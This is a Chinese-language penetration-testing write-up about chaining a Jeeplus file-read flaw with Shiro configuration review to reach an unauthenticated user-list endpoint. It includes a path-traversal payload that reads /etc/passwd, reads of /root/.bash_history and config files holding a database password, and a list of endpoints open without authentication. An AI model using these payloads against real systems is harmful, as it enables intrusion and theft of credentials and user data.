前言

通过其他漏洞获取到配置信息时,如果含有shiro组件时可以去看下配置里面有哪些接口未鉴权,也许就可以提权扩大战果

一般常见的xml配置路径如下(含有spring框架时),通过xml配置可以去查看接口和代码之间的映射关系

1
2
3
4
5
6
/WEB-INF/web.xml
/WEB-INF/classes/spring-context.xml
/WEB-INF/classes/spring-context-activiti.xml
/WEB-INF/classes/spring-context-jedis.xml
/WEB-INF/classes/spring-context-shiro.xml
/WEB-INF/classes/spring-mvc.xml

审计

文件读取漏洞

遇见的是一个Linux系统的java框架站,通过Jeeplus的文件读取漏洞可以读取到/etc/passwd

1
/userfiles;a/a/a/a/a/a/a/a/a/a/a/userfiles/../../../../../../../../../../../etc/passwd

获取web根路径

可以爆破进程路径信息去获取web根路径,爆破的请求比较明显尽量少用

1
/proc/进程ID/cmdline

也可以去读history命令记录,下面的是root用户的

1
/root/.bash_history

拼接得到的web根路径如下

1
/usr/tomcat/apache-tomcat-8.5.76/webapps/fiber

获取shiro配置

登录请求里返回了一个rememberMe=deleteMe说明使用到了shiro框架

通过之前的信息知道了WEB-INF的路径,直接加上web.xml就可以读取主要的配置信息,但不是全部

1
/usr/tomcat/apache-tomcat-8.5.76/webapps/fiber/WEB-INF/web.xml

含有spring相关的xml配置路径如下,在classpath路径以spring-context开头的都会被识别

1
classpath*:/spring-context*.xml

对应shiro配置的绝对路径

1
/usr/tomcat/apache-tomcat-8.5.76/webapps/fiber/WEB-INF/classes/spring-context-shiro.xml

右侧为anon的表示不用鉴权就可以访问,无需授权的路径如下

1
2
3
4
5
6
${adminPath}/qualitysample/getSampleList = anon
app/getUserList = anon
${adminPath}/sys/user/getUserList = anon
/static/** = anon
/userfiles/** = anon
/upload/** = anon

获取adminPath

在之前的history历史命令中可以发现存在一个配置fiber.properties

一些全局的变量就存储在里面,其中也包含了数据库密码

所以对应的相对路径则变为

1
/a/sys/user/getUserList

未授权漏洞

1
/a/sys/user/getUserList